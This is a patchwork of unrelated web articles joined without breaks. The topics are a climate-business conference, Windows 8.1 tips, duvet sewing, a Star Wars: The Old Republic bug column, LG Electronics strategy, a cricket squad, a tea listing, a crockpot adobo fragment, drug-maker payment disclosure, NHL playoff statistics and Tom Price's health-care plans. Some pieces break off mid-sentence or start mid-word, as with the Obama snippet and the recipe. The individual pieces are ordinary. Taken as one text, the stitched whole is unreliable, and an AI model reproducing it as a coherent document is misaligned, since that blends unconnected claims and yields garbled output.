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From his claim that global warming was a gigantic hoax masterminded by China to his promise to pull the United States out of the landmark Paris agreement, Donald Trump’s surprise election win was widely decried by those who feared that recent progress in tackling climate change was about to come undone.
Donald Trump presidency a 'disaster for the planet', warn climate scientists Read more
But a growing number of environmentally friendly American businesses – including major airlines and banks, as well as energy, tech and pharmaceutical companies – are pushing back against the president-elect’s attempts to dismiss climate change concerns and are planning to take the lead in the drive to make the US a worldwide leader at slowing or reversing the damage.
At the first Companies vs Climate Change conference in Fort Lauderdale on Wednesday, a succession of company executives, sustainable business experts and environmental activists spoke of the need for corporate America to step up efforts to help guide policy and fight what many see as the biggest threat facing the world today.
“If they don’t then the people who are hellbent on rescinding regulations and just allowing the market to function without any guardrails are likely to undo all the progress that the United States has made over the past 70 years,” said Richard Eidlin, vice-president of policy and campaigns for the lobbying group American Sustainable Business Council.
“Businesses that are in favour of addressing climate change, and maintaining environmental safeguards need to really express their views and express the business case for doing so. Not only is it good for them, and they’re generating profit and mitigating their risk, but what is just as important is stepping into the policy process.”
Facebook Twitter Pinterest The summit was arranged before Donald Trump’s presidential election victory. Photograph: Ashley Cooper/Getty Images
The three-day summit, which brought together executives from companies including TD Bank, Citigroup, Nasdaq, Ingersoll Rand, Bright Power, United and Alaska Airlines, was arranged before Trump’s presidential election victory on 8 November. But because of that, the event became more poignant and provided companies a greater sense of urgency, according to Jason Youner, chief executive of solveclimatechange.com.
“Complaining about the election and the incoming administration doesn’t help anybody. We’re not here to debate whether there is climate change. We’re here to try to save the world, because the government’s not going to,” he said.
We’re here to try save the world, because the government’s not going to Jason Youner, chief executive of solveclimatechange.com
Joe Doolan, head of environmental affairs at TD Bank, said his company planned to press ahead with green initiatives that had won environmental awards and proved popular with customers, including a 15% reduction in its consumption of paper since 2010, partly through eliminating receipts and envelopes at ATMs.
“We set ourselves up as an environmental leader back in 2007 and became the first carbon-neutral bank in the US in 2010,” he said.
“We’ve installed solar canopies over our drive-through lanes, which has helped us offset our energy costs, and 90% of our waste is diverted from landfills. For us it’s about reduction, reduction, reduction.”
Jeffrey Perlman, founder and chief executive of New York-based Bright Power, an energy and water management company for mostly multi-family residential buildings, said he had “never been so happy for energy policies at a state level”.
He said: “We have an incoming administration not willing to even admit that climate change is a thing [but] they won’t be able to dismantle a lot of the great energy policies in the states that are being more progressive.
“If we’re talking about how people interact and consume energy, from how they heat and cool their homes to how they do business in a more environmentally friendly way, the only way that happens is through business.”
Smaller businesses say they also have concerns. Forest Green, a nature technology company in Virginia, has launched a “carbon transaction platform” that allows business and individuals to offset their carbon footprint using a mobile phone app.
How Obama's climate change legacy is weakened by US investment in dirty fuel Read more
“If compliance isn’t going to come from the government it really is going to be the power of individual decision-making that’s going to create the change,” said company representative Sarah McDonough.
The conference opened with a keynote address from David Fenton, a prominent climate change publicist, who said the politicisation of global warming had dissuaded many businesses from taking action.
“Business is more important than ever if we’re going to face a bunch of climate deniers,” he said. “The way climate change has become a partisan issue in the US has become a big issue in the world, other countries look at the US Senate, where one can’t get a simple, non-binding resolution passed that says humans are changing the planet, those countries say, ‘These yahoos in the US aren’t going to do anything, so why should we?’”
Eidlin believes that businesses need to send a loud enough message that the Trump administration cannot ignore them. “Many companies have expressed support for US staying in the Paris agreement, more are working with municipalities across the US, so there is a lot of activity,” he said.
“On the positive side, it’s great to see more companies stepping up. On the negative side, we need the policies put in place, which is why businesses, when they show up, really have an audience, because policymakers listen to what business people have to say.”Both the Fire TV and upcoming Fire TV Stick enter a sleep mode after being idle for 30 minutes. The Fire TV Stick will include an option missing from the Fire TV which allows you to manually force the device to sleep. The option is a bit buried in the Settings > System menu, so it’s not the most convenient thing to enable. Perhaps we’ll be able to uncover a remote button combination that can trigger this new action, much like the button combination that restarts the Fire TV. No word on whether this option will make it’s way to the Fire TV, but I suspect we’ll see a new software update shortly that adds this and Prime Music to the Fire TV Stick’s big brother.
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Whether you’re using Windows 8.1 on a desktop, tablet, or something in between, there are a variety of useful tweaks you should know about. These options allow you to do everything from making Windows 8.1 work better on a desktop PC to tweaking the way it works on a tablet.
Many of these options are all-new in Windows 8.1 or have moved from where they were in Windows 8. Windows 8.1 is quite a large update compared to Microsoft’s old service packs for previous versions of Windows.
Tweak Desktop Integration
Windows 8.1 brings many useful options for desktop users. If Windows 8 was Microsoft’s declaration of war on desktop users 6 Ways Microsoft Is Killing The Traditional Desktop In Windows 8 [Opinion] 6 Ways Microsoft Is Killing The Traditional Desktop In Windows 8 [Opinion] The traditional desktop is still around in Windows 8, and it’s probably the best Windows desktop yet (aside from not having a Start menu.) But Microsoft is setting it up for the kill. The writing... Read More, these options in Windows 8.1 are an attempted peace offering from Microsoft.
To access these options, right-click the desktop taskbar and select Properties. Click the Navigation tab and use the options here to configure Windows 8.1 to your liking. You can have Windows boot to the desktop, show your desktop background on the Start screen, show the Apps view automatically when you activate the Start button, and disable the app switcher and charms hot corners that appear when you move your mouse to the top-left and top-right corners of your screen.
Delete Old Windows Installation Files
When you upgrade from an old version of Windows, Windows keeps a C:\Windows.old folder What Is TrustedInstaller & Why Does it Keep Me From Renaming Files? What Is TrustedInstaller & Why Does it Keep Me From Renaming Files? TrustedInstaller is a built-in user account in Windows 8, Windows 7, and Windows Vista. This user account "owns" a variety of system files, including some files in your Program Files folder, your Windows folder, and... Read More with your old files in case there’s a problem. If your upgrade process went well and you have all your old files, you can delete this folder to free up gigabytes of disk space.
To do this, press Windows Key + S, search for Disk Cleanup, and click the Free up disk space shortcut. Click the Clean up system files button, enable the Previous Windows installation(s) option, and run a disk cleanup. If you don’t see this option, there’s nothing to clean up.
Remove Old Wireless Networks
Windows 8.1 no longer allows you to forget WiFi networks you’ve saved in the graphical interface. If you still want to do this, you can do so from the Command Prompt. Press Windows Key + X and click Command Prompt (Admin). Run the following command to view your saved wireless networks and their names:
netsh wlan show profiles
Next, run the following command to delete a saved WiFi network:
netsh wlan delete profile name=”PROFILE”
Restore Libraries
Microsoft hid libraries Make Windows 7 & 8 Libraries Work For You Make Windows 7 & 8 Libraries Work For You Libraries, found in Windows 7 and 8. are more than a list of suggested folders for saving documents, music, pictures, and video. Customizing your libraries isn’t just tweaking for the sake of tweaking – with... Read More by default in Windows 8.1. You can re-enable them from the File Explorer window if you still want to use them.
To do this, open a File Explorer window, click the View tab on the ribbon, and click the Options button. Activate the Show libraries option at the bottom of the Folder Options window.
Disable SkyDrive Integration
Microsoft doesn’t provide an easy way to disable SkyDrive integration on Windows 8.1. On typical versions of Windows 8.1, you can only disable this via the registry editor, if you activated SkyDrive integration when you set up your Windows user account.
We don’t recommend disabling this as so many features in Windows 8.1 depend on SkyDrive How To Keep Your Files Synced With SkyDrive In Windows 8.1 How To Keep Your Files Synced With SkyDrive In Windows 8.1 Storing data remotely and syncing them across devices has never been so easy, especially if you're using Windows 8.1. SkyDrive received a significant update, improving its integration with Windows and adding interesting new features. Read More, but you can disable it if you really want. The easiest way to do so is by downloading the Disable_SkyDrive_Integration.reg file from here and double-clicking it. This will save you from having to edit the registry by hand What Is The Windows Registry Editor & How Do I Use It? [MakeUseOf Explains] What Is The Windows Registry Editor & How Do I Use It? [MakeUseOf Explains] The Windows registry can be scary at first glance. It’s a place where power users can change a wide variety of settings that aren’t exposed elsewhere. If you’re searching for how to change something in... Read More.
Disable Automatic Brightness
Windows now has integrated support for automatically adjusting your screen’s brightness level, which it will do on laptops and tablets with brightness sensors. Automatically adjusting your brightness can help your device save battery power.
If you’d rather control your screen’s brightness on your own, you can disable this from the Power Options window. Press Windows Key + S, type Power Options, and select the Power Options shortcut to open it.
Click Change plan settings next to the power plan you’re using and then select Change advanced power settings. Expand the Display section, expand Enable adaptive brightness, and set it to Off. You can disable it while plugged in and only use it on battery power, if you like.
Disable Bing Search
Windows 8.1 includes integrated Bing search, so you can search with Bing from the system-wide search charm. This also means that Windows sends your search terms to Bing, even if you’re just searching for apps, settings, and files on your local computer. You can disable this integration from the PC settings app if you’d rather not use it.
To do this, open the Change PC settings app — press Windows Key + C, click or tap the Settings icon, and select Change PC settings. Select Search and apps and disable the Use Bing to search online option.
Use Quiet Hours
Windows 8.1’s integrated notifications Managing Notifications in Windows 8 Managing Notifications in Windows 8 Windows 8's new app platform provides an integrated notification system for Modern apps. Windows 8-style apps can use several different types of notifications -- traditional toast notifications, lock screen notifications, and live tiles. All of... Read More pop up and notify you about new emails, tweets, and other information. This can be a serious distraction if you’re using your computer for work and you’d rather focus on what you need to do.
If you never want to see notifications during work hours or another period of time, you can use the Quiet Hours feature. In the PC Settings app, navigate to Search and apps > Notifications and select the quiet hours you want to use.
Remember to use the power user menu 8 Ways To Improve Windows 8 With Win+X Menu Editor 8 Ways To Improve Windows 8 With Win+X Menu Editor Windows 8 contains an almost hidden feature you need to know about! Press Windows Key + X or right-click at the bottom-left corner of your screen to open a menu you can now customize. Read More, too — either press Windows Key + X or right-click on the taskbar’s Start button to open it. This menu allows you to quickly access important applications like the Control Panel and quickly shut down your computer. It helps make up for the lack of a pop-up Start menu on Windows 8.1’s desktop.
Do you know any other great power-user tricks for Windows 8.1 users? Leave a comment and share them!
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Cover a Duvet (Doona)
Method
Find a fabric or sheet set that you like. I have used a twin sheet set to turn into a double duvet cover, or flannel twin flat sheets to make a twin cover.
One flat twin sheet in aqua and an owl print flat twin were used for this doona cover.
Fit your sheets to the duvet. A twin sheet set was dismantled to make fabric sections wide enough for a double or full cover. Fabric is rarely sold in widths wide enough for a double cover so the following instructions would also work for fabric covers.
Cut the fitted sheet sides and release the elastic to make a flat piece of fabric. The middle section of you fitted sheet should be long enough to add to the sides of your double duvet.
Wide middle strip and narrow side strips.
Usually, a wide strip in the middle and two narrow strips on the side will give you enough width for a full cover. It is best to measure your doona to get exact measurements. I wanted to use 3 fabrics so ended up using 2 strips on each side of the wide middle piece of fabric.
Sew up the pieces to create the top of your cover.
Fit to a flat double sheet or extra wide fabric for the back of your cover. If you are using a sheet for the backing, consider how you will be closing your doona. If you are using a zipper, use the narrow bottom seam of the sheet at the bottom of your duvet to attach the zipper and save your self the step of hemming. If you are going to use buttons, perhaps the wider top hem of the sheet will be more suited for use at the bottom of your cover. For children's duvet covers, I have used both zippers and velcro as they are fast to get on and off.
The wide top hem of store bought sheets makes it ideal to use for a button closure duvet.The narrower bottom hem, which is the same as the side hems, will be fine for adding in a zipper. No hemming required.
Put right sides of the front cover of the duvet and back cover together. Sew up both sides and the top. If you want to add ties at the top to hold in your duvet, this is easily done now as you are making the seam across the top.
A quick tie sewed into your cover and one on your doona and you can tie these together if your blankets are prone to slipping.
Pin in your zipper and using your zipper foot, stitch in the zipper to the bottom of your duvet.
Sew up the extra width outside of your zipper on the bottom of your duvet (this will be necessary for a double or queen cover).
Put in your doona and throw on the bed. Done!
Reversible brown and blue flannel twin cover.
Categories
Duvet covers for children are expensive and often do not come in the fabrics or colors your are looking for. For children, I also like to have a cover that can be removed easily and often to wash. In fact, I do not usually put a flat sheet on the bed when I have the doona cover. With a bit of sheet shopping and sewing, it is easy to create your own unique and attractive duvet covers that are also functional!The last couple of weeks have been really rough week for Star Wars: The Old Republic from a technical standpoint. The Umbara update itself gave us a handful of bugs, including some that were very difficult to bypass. Then players also noticed a couple of extreme bugs that were deemed exploits. Community Manager Eric Musco acknowledged the exploits, and for one of them, he emphatically said do not do it. “Following the bug being fixed we will begin to investigate the impact of the exploit and what action is required,” he said on the forum. In the past, those actions have ranged from a slap on the wrist to a three-day suspension to revoking future access to that account. I don’t think things will get that harsh for this exploit, but I do foresee players losing the items gained. I’ll get to the specifics of that later.
What was most interesting was BioWare‘s handling of the second major bug. Under normal circumstances, if players circumvented the normal rate of character progression, the MMO developers would stop everything they were doing and fix the bug immediately, or at very least, they would tell players to stop lest they be punished. Instead, Musco said on the forum, “Until they are fixed next week, enjoy them. We tried to fix the bug, the bug didn’t want to be fixed.” He actually encouraged people to take advantage of the bug.
Let’s talk about that, why it happened, and why this happy accident is one of the best things that’s happened to SWTOR in a long time.
The real crisis on Umbara
Although the issues probably started well before the intended patch day, the general public was made aware of the issues with Update 5.4 the week that we were supposed to receive the new flashpoint and story update, Crisis on Umbara. However, you might have noticed that my impressions of that flashpoint fell very late in the week. That was because the patch was delayed by two days because there was a bug that would prevent some players from being able to finish the content.
Even then, that was clearly not the only bug with the update. The other big issue was an exploit that was not visible until the following Tuesday, when players could actually earn the 60 data currency that it took to unlock the Umbara stronghold. The 60 data didn’t actually give you the stronghold; rather, they allowed you into the room where you could then purchase the stronghold for yourself and your guild. What BioWare didn’t foresee was people cleverly using the guild-summon ability to give other people access to that room — people who had not earned the 60 data. Even after another patch, BioWare was not able to fix that bug (though again, BioWare is aware of this exploit and will take action against those who use it).
There is a light at the end of the buggy tunnel that comes in the form of another mistake in programming. The daily areas in Czerka, Oricon, Black Hole, Yavin 4, Ziost, Section X, and Iokath were all giving more Command XP than was originally intended. If I recall correctly, each mission would give about 75 CXP per mission. With the bug and without any other kind of bonus, these daily areas granted 1125 CXP after the Umbara patch. BioWare granted double XP to all players for the end-of-the-summer event, and players could also get legacy bonuses and CXP boosts from the fleet or Cartel Market. The end result was that players could earn in the neighborhood of 3600 CXP for missions that were intended to grant only 75 CXP.
An unexpected benefit
“I managed to gain 200 levels and to echo a lot of your comments here, it was fun to see so many others on Yavin, in Black Hole, over on Iokath and Section X,” Producer Keith Kanneg said in a forum thread last Wednesday. And really, who wouldn’t want be there when the game was practically giving away CXP?
The whole Command Rank system has been one of the most criticized additions to SWTOR for a very long time. In fact, it was such a bad system that many players – including me – decided to not participate in it. Unlike some, I didn’t quit the game, but I did not actively pursue gaining CXP. There have been fixes to the system like raid bosses dropping specific pieces of gear instead of players relying on the random Command Crates, but for my raid group, that was far too little too late. They were gone.
With this bug and the subsequent encouragement from the Producer of the game himself to take advantage of the bug, I went ahead and joined in the fun. I now have two characters well inside Tier 2 Command Rank. I was late to the party because of my aversion to command rank in the first place, so those of you who took part before could’ve earned far more than I did.
In the same thread mentioned above, Kanneg said one of the most reasonable and encouraging things I have heard from a SWTOR developer in a very long time: “There’s a legitimate reason to lower the CXP values as they are out of whack with the rest of the game, but there’s an even more compelling reason to not lower it all the way back to 75 and to review the values across the board.”
I used to love running dailies in SWTOR. I know it’s weird. I even wrote a couple of articles in Massively-of-old outlining the best way to earn credits through dailies, so hopping back on board these dailies to earn CXP was like climbing into a comfy chair. I loved it.
As of today, Musco still stated on the forum, “We are not fixing the bug with Daily Area Missions, so those CXP rewards will remain crazy high for the time being.” Although he calls them crazy high, they aren’t as high as they were before because the double-XP event is over. However, you can still earn about 1125 CXP or more per mission, and that makes me pretty happy.
I don’t want to end this without asking your thoughts. The bugs were pretty horrendous over the last couple of weeks, including where the servers were offline for most of the day. But do you think BioWare handled it well? Are you encouraged by the changes to dailies? Is Command Rank all right now, and will you jump in to do dailies because of the change? Let me know your thoughts in the comments below.LG Electronics is looking to recover its level of performance by ‘Super Premium Phone’, which will be newly released in second half of 2015, and ‘Popularization of OLED (OLED 176) TV. It is taking an approach of focusing on major industries and new products to turn around rather than looking for special temporary measures.
“We are challenging ourselves to improve our performance level in second half by strengthening our marketing and releasing new products per business. We are definitely holding separate briefing sessions and examinations per business, but we are not yet considering purchasing treasury stock or supporting stock price.” A high-ranking official affiliated with LG Electronics said on the 19th that LG Electronics is strengthening its previous businesses.
The reason why LG Electronics is focusing on major industries rather than preparing for special measures is that it believes that temporary measures cannot guarantee improvement of performance. It also cannot make big businesses within short-period of time, and it is hard to see results through a special business restructure.
LG Electronics is making a winning move in second half of 2015 through super premium phone and derivative model of G4 in mobile departments. Because sales of strategic phone G4 in first half of 2015 fell short of expectation, LG Electronics is looking to expand its share in the market through premium phones that have bigger screens and many high-tech functions. It is also heard that it is preparing many modified models of G4.
President Cho Jun Ho of LG Electronics said that it is currently looking for appropriate time to release its new strategic phone in second half of 2015. Industry world is seeing that instead of going head to head against Samsung Electronics’ Galaxy Note 5 and Apple’s IPhone 6S, LG Electronics is adjusting its release date and aiming for niche markets. To overcome its extreme slump, LG Electronics proposed revised cellphone distribution structure improvement law 410 to government.
TV Business Department is focusing on strategy that will popularize premium products. It is attempting to increase sales through reduction of OLED 176 TV’s price, expansion of products, and reduction of large-screen UHD TV’s price. This is a strategy that will increase number of sales by aggressively reducing expensive products’ prices, and this is a similar strategy that Samsung Electronics used recently to reduce SUHD TV’s price up to 50% in Korea and foreign countries.
In home appliances, LG Electronics is focusing on corresponding to strategic products such as new washing machine, Kimchi refrigerator, and etc. in second half. Its new Twin-Wash Washing Machine that it showed to public in early 2015 is getting released within this month. It is also examining release of Kimchi refrigerators early and aggressive sales promotion to recover slump in sales of air conditioners. It is looking to expand correspondence in Korea and foreign countries by strengthening expensive build-in home appliances one after the other.
Although it is making loss in vehicle components (VC), LG Electronics’ expectation in its growth hereafter is high and it will continue to expand its investment. Instead of securing profitability in new growth areas such as energy solution in short-term, it is going to focus more on preparing growth basis in medium and long-term.
LG Electronics’ stock is at the lowest in last 12 years as it recently fell to 36 dollars (42,000 KRW). There are a lot of evaluations that LG Electronics lacks clear breakthroughs due to low growth basis for major industries. Home Entertainment Business Department’s sale continues to decrease, and Mobile Communication Business Department is also suffering from slow growth and deepened competition. Although its Home and Appliances Department is cruising along, its business profit ratio is slightly over 5%. Sales and level of contribution in profit for newly established VC business are still insignificant.
“It is a sure thing that Vice-Chairman Ku Bon Jun of LG Electronics is very concerned. If it is difficult to see results through temporary measures, it needs to focus on medium and long-term strategies such as strategically promoting new growth industries and enhancing major industries.” A person affiliated with financial world gave words of advice to LG Electronics.
Staff Reporter Kim, Seungkyu | seung@etnews.comIndia squad for Women's World Cup Mithali Raj (capt), Harmanpreet Kaur, Veda Krishnamurthy, Mona Meshram, Poonam Raut, Deepti Sharma, Jhulan Goswami, Shikha Pandey, Ekta Bisht, Sushma Verma (wk), Mansi Joshi, Rajeshwari Gayakwad, Poonam Yadav, Nuzhat Parween (wk), Smriti Mandhana In: Smriti Mandhana Out: Devika Vaidya
Smriti Mandhana, who has been out of action since January with a knee injury sustained during the Women's Big Bash League, has returned to India's squad for the Women's World Cup, which begins on June 24 in England.
India only made one change to the 15-member squad that is currently playing an ODI quadrangular in South Africa, with Mandhana replacing Devika Vaidya. They retained the same group of players otherwise, with two wicketkeepers in Sushma Verma and Nuzhat Parween, who made her ODI debut against Ireland during the quadrangular.
Mandhana last played for India during the Women's Twenty20 Asia Cup in December 2016. She has been a key member of India's top order since her debut in 2013, playing 23 ODIs, 27 T20Is and one Test, and was one of two Indian players, alongside Harmanpreet Kaur, to sign up for the 2016-17 WBBL season.
Vaidya, an allrounder who bowls legspin, has played seven ODIs and one T20I, but has not yet featured in the playing XI during the quadrangular tournament.
India will begin their World Cup campaign on June 24, when they take on hosts England in Derby. The eight teams will play each other once, with the top four going through to the semi-finals. Lord's will host the final on July 23.A unique tightly wound white tea from Malawi that produces an equally unique taste of tangy cucumber with a thick buttery texture and no trace of astringency.
A great tea for multiple brewing, with it taking in excess of six steeps for the pearls to fully unwind. Another unique tea from Malawi that must be tried.
Sourced direct from Satemwa Tea Estate in Malawi who are dedicated to pushing the boundaries of great tea production while caring for the local environment, providing their employees a fair wage and contributing to the local community.
Tasting Notes:
- Smooth texture
- No astringency or bitterness
- Brilliant taste of tangy cucumber
Harvest: 20th January 2019
Altitude: 900m+
Origin: Satemwa Tea Estate, Shire Highlands, Malawi, Africa
Farmer: Alexander Kay
Sourced: Direct from the farmer
Percentage of price going back to the farmer: 35%+
Brewing Advice:
- Heat water to roughly 80°C/176°F
- Use 4-5 pearls per cup/small teapot
- Brew for 3-4 minutes
Packaging: Resealable ziplock bag
Independent Reviews:
Teaxplorer
The Everyday Tea Blog
My Thoughts are like Butterflies
Location:Updated at 2 p.m. ET -- At a campaign-style event at the White House Friday, President Barack Obama invited congressional leaders to the White House next week for talks on how to avoid spending cuts and at least some of the tax increases scheduled to occur in January. But he insisted that tax increases on the wealthiest Americans must be part of any deal.
NBC's Brian Williams anchors President Obama's first post-election appearance, |
/4 cup soy sauce, 3 cups water, and 2 tablespoons brown sugar over the top. Stir once to get the liquid in and around the beans. Cook in the crockpot on low for 8 hours or high for 5-6 hours. The last hour: check on the adobo – the pork should be very tender and some of the pieces might naturally fall apart, there should be enough liquid to keep the whole mixture “saucy”, and the beans should be soft. Add the vinegar and cook for another 20-30 minutes. Turn the crockpot off and let the mixture cool for a few minutes before serving. Notes You can use canned black beans instead of the dry ones. If you do, I would suggest omitting the water and just adding the drained canned black beans at the end of the cook time, at the same time that you add the vinegar.
There should be a lot of liquid left over in the crockpot. That’s okay because it helps keep it saucy as it sits in the crockpot, and you can use it to spoon more sauce over the pork/rice.
Japanese soy sauce (Kikkoman) is too heavy for this dish. Try to use a Filipino brand like Silver Swan or, as a last resort, just use the lowest sodium soy sauce. 277 7.2 g 1854.3 mg 3.4 g 33.5 g 27.5 g 46.2 mgWASHINGTON, Sept. 6 — Makers of drugs and medical devices would be required to report publicly nearly all payments and gifts to doctors under legislation introduced Thursday in the Senate.
“Right now, the public has no way to know whether a doctor’s been given money that might affect prescribing habits,” said Senator Charles E. Grassley of Iowa, the ranking Republican on the Senate Finance Committee and one of the bill’s authors.
Senator Herb Kohl, Democrat of Wisconsin, said drug and medical device makers had long defended their payments and gifts to doctors as appropriate.
“If that is the case, full disclosure will only serve to prove them right,” Mr. Kohl said.
Ken Johnson, senior vice president at the Pharmaceutical Research and Manufacturers of America, said, “A new law is not necessary when pharmaceutical marketing is already heavily regulated by the Food and Drug Administration.”
Advertisement Continue reading the main story
The F.D.A. does not regulate the gifts or consulting arrangements drug and device makers routinely provide doctors, and it reviews only a fraction of the scripted marketing talks doctors make on companies’ behalf.Thumb back through the pages charting the players and the momentous Stanley Cup Playoff games and the often incredible events that changed the complexion of a series, a game, a period or even a shift, and you will find so many numbers.
A century of the NHL has been about the men who have played the game. It's been about the battles they have waged, the Stanley Cup titles they have won, sometimes against all odds, and the championships they have not won when everything suggested that the sterling trophy was all but engraved.
[RELATED: Explore All-Time Playoff Results | All-Time Stanley Cup Winners]
Statistics are the foundation of the NHL, the digital bedrock on which both the great players and the journeymen built the game. Before Corsi and Fenwick and the percentages of advanced stats, analyses that are all the rage today, were simply the goals, scored at even strength, on power plays and shorthanded; the assists that set up the goals; the penalty minutes that always had the potential to change the tide; and the goaltender's rudimentary goals-against average.
Now comes an online resource for the most hard-core fan, to whom hockey's basic numbers are almost a religion. As part of its ongoing Centennial celebration, the NHL, on its NHL.com website, is offering a statistical treasure chest in the form of box scores from every postseason game in NHL history and richly detailed playoff game logs for every individual who has skated or tended goal in the postseason.
In concert with SAP, the NHL's application software and database partner, the League is now adding to the wealth of statistics that have been on NHL.com for roughly a decade.
NHL.com/stats provides SAP-powered filters to offer fans the ability to cross-reference historic statistics by game-level context such as home, away, game decision and opponent.
Over the past five-plus years, the NHL has been digitally archiving scoresheets from the League's 1917 birth through the present to preserve a priceless history, many scoresheets from the early era having been produced almost illegibly by hand. With this archiving and new filters, more detailed statistics have become available, and these new playoff categories have now been added to NHL.com.
There is no shortage of places on the Internet to find overall and season-by-season summaries of players' careers. But nowhere else will you find playoff game logs extracted from the scoresheets of every NHL postseason game since the 1917-18 season.
"We still have other things that we want to add," said Benny Ercolani, the NHL's statistician and information officer, who began crunching numbers for the League in 1976 in Montreal under statistician Ron Andrews.
Ercolani has led a team of people to extrapolate this data from scoresheets, vintage and modern, and bring it online, double- and triple-checking the stats and correcting errors along the way.
Plans are in the works to enrich the website greater still with regular-season game logs and box scores, along with more video and photography.
"I can't tell you how many times fans have called me and said, 'There was a game I watched when I was a kid, I think Jean Beliveau scored, my dad brought me and I still have the ticket,' " Ercolani said. "Now fans can go look at the game (playoff games for now) as we fill in the holes, and that's always been a big thing for me."
With this new reference, hockey purists, historians and even the mildly curious will find the proverbial pot of gold at the end of the statistical rainbow.
I chose to dip first into the playoff game logs now offered under the name of Wayne Gretzky, the most prolific player in NHL history for goals and assists, assembled here in one place for the first time. Gretzky led the League in playoff assists and points five times in six seasons with the Edmonton Oilers between 1982-83 and 1987-88, winning four Stanley Cup championships, so he seemed like the perfect springboard into the new stats pool.
Gretzky played in all 18 games of the Oilers' 1984-85 Stanley Cup run, scoring a League-high 47 points (17 goals, 30 assists). Edmonton won its first nine playoff games, sweeping the Los Angeles Kings in three and the Winnipeg Jets in four before beating the Chicago Black Hawks (then two words) twice to open the Campbell Conference Final, which the Oilers won in six. The Oilers lost to the Philadelphia Flyers to open the Stanley Cup Final, followed by four straight victories to win the title.
Video: 1984 Cup Final, Gm5: Oilers take the Cup from Isles
A look at Gretzky's game-by-game performance shows that he went scoreless only twice during the Oilers' 18-game run, in Game 3 against the Black Hawks and in Game 1 against the Flyers.
The Great One racked up one-third of his 30 assists during one four-game span. In Game 4 against Winnipeg, an 8-3 victory, he scored three goals on seven shots and had four assists; in that game, and in a 10-5 victory in Game 5 against Chicago, he was plus-5.
Next, I turned back the pages to the career of the late Gordie Howe, an idol of Gretzky.
Six times during his 21 trips to the NHL playoffs, Mr. Hockey led the League or was tied for the lead in postseason points, twice during seasons that brought his Detroit Red Wings the Stanley Cup. The first of those two seasons was 1951-52, when he had seven points (two goals, five assists) in eight games, and the other was 1954-55, Howe scoring 20 points (nine goals, 11 assists) in 11 games.
Howe had two goals and an assist in a 3-0 victory in Game 3 of the 1951-52 Stanley Cup Final against the Montreal Canadiens, his best single-game output that postseason. It's remarkable, perhaps, that a man who played with razor-sharp elbows was assessed only two penalty minutes that entire playoff season, coming in his three-point game.
Video: Gordie Howe, 'Mr. Hockey,' enjoyed five-decade career
But Mr. Hockey wasn't exactly Mr. Clean in the 1954 Final against the Canadiens, taking 23 penalty minutes in Games 2-5, including a dozen while finding time to score once and get one assist in a 5-2 victory in Game 3 in Montreal.
There's Larry Robinson, the legendary defenseman who never missed the postseason during 17 seasons with the Canadiens from 1972-73 to 1988-89 and three more, from 1989-90 to 1991-92, to end his career with the Los Angeles Kings. Robinson might have been a goofy plus-700 in the regular season with Montreal, but in the Canadiens' three-game elimination at the hands of the Oilers in the 1981 Preliminary Round, the future Hall of Famer was a very uncharacteristic minus-9.
Naturally, goaltending has played a huge role in the playoffs through the decades. So it was fun to rewind to the 1950s and '60s to have a closer look at the prime of pioneer Glenn Hall, who anchored the Black Hawks when they won the Stanley Cup in 1961.
What's truly enlightening with this statistical project is that a goalie's save percentage, a stat officially kept beginning in the early 1980s, is presented wherever shot totals were provided on scoresheets.
Video: 1961 Cup Final, Gm 6: Hawks win first Cup in 23 years
So there was Game 3 against the Canadiens in the 1961 Semifinals, a 2-1 home victory for Chicago. Hall made 53 saves for a stunning.981 save percentage in that game, which was decided on Murray Balfour's power-play goal 12:12 into the third overtime against Montreal goalie Jacques Plante.
For a century, thousands of NHL players have battled for the Stanley Cup. For every man who has played in the postseason, you can now find game logs that break down every one of his playoff games.
Each time you poke your shovel into this fertile digital soil, you will unearth a little more treasure. So excuse me now while I go dig into Dave "Tiger" Williams of the Toronto Maple Leafs, who was assessed 34 penalty minutes on April 22, 1976 in an 8-5 home win against the Philadelphia Flyers.In anti-Obamacare circles, "repeal and replace" has for years been the conservative motto by which opponents of the U.S. health-care law operated. But vowing to repeal it was easy — the challenge was resolving what to replace it with.
Georgia congressman Tom Price, named by president-elect Donald Trump to head up Health and Human Services, believes he has some answers.
The nomination of Price, who objects to federal funding for Planned Parenthood and wants lawmakers to overhaul Medicare into a system of vouchers "within the first six to eight months" of Trump's administration, signals what health care might look like in the new Trump administration.
So far, that looks like it's a target on the existing health law also known as the Affordable Care Act (ACA).
'Personal responsibility' health care
Harvard School of Public Health professor John McDonough is bracing for health care to be viewed through a more conservative "personal responsibility" prism, resulting in the loss of essential protections for what he projects to be more than 100 million Americans.
"Some people have been saying that maybe Donald Trump is moderating his views [on repealing Obamacare], that he's sending mixed signals," McDonough says. "This appointment of Tom Price sends a crystal-clear signal."
During his campaign, president-elect Donald Trump promised to protect Social Security, Medicare and Medicaid. (Mary Altaffer/Associated Press)
Price's 242-page Empowering Patients First Act advocates for tax-sheltered health savings accounts and so-called high-risk insurance pools, and offers tax deductions or credits to help Americans buy the coverage they want.
But Democrats worry that patients in lower-income brackets could face steeper insurance and care costs.
"Not just higher prices, they're going to face the loss of coverage," McDonough adds, noting that Price's legislation would eliminate Obamacare's expansion of Medicaid, the social health-care program for lower-income Americans.
Not just higher prices, they're going to face the loss of coverage. - John McDonough, Harvard School of Public Health
Around 14 million of the estimated 20 million people who gained coverage under the ACA did so due to the expansion of Medicaid.
Trump and Price share a plan to dramatically cut federal Medicaid spending and convert it into a federal "block grant," meaning states would be provided with a fixed amount of money to decide how to cover a population's health costs.
Chris Jacobs, a Republican health policy analyst, says that choosing Price, a longtime member of Congress, signals "that [Trump] expects legislative activity early next year," and that Price will be well positioned to influence former congressional colleagues to back the administration's priorities.
A conservative health plan would streamline costs, "rather than layering on government-imposed mandates and subsidies," Jacobs says.
Help for higher-income Americans
Price has been an outspoken critic of Obamacare, and his legislation is aimed at cutting government out of health-care decisions that he says should be made between patients and doctors.
Price's plan "would make health insurance more affordable for higher-income people who in the individual market now don't get any assistance at all," says Tim Jost, who teaches health law at the Washington and Lee University School of Law in Virginia.
The legislation would put a cap on the tax deductions employers could make for providing employee health insurance, which affects more than 150 million Americans. This would be designed to encourage companies to limit coverage.
The Price plan also advocates for the expansion of health savings accounts — tax-sheltered funds that allow Americans to sock away money to eventually dip into when they need to pay their deductibles out of pocket.
President Barack Obama signs the Affordable Care Act, also known as Obamacare, in the East Room of the White House on March 23, 2010. (J. Scott Applewhite/Associated Press)
Jost, who uses a health savings account, says the mechanism primarily benefits higher-income families.
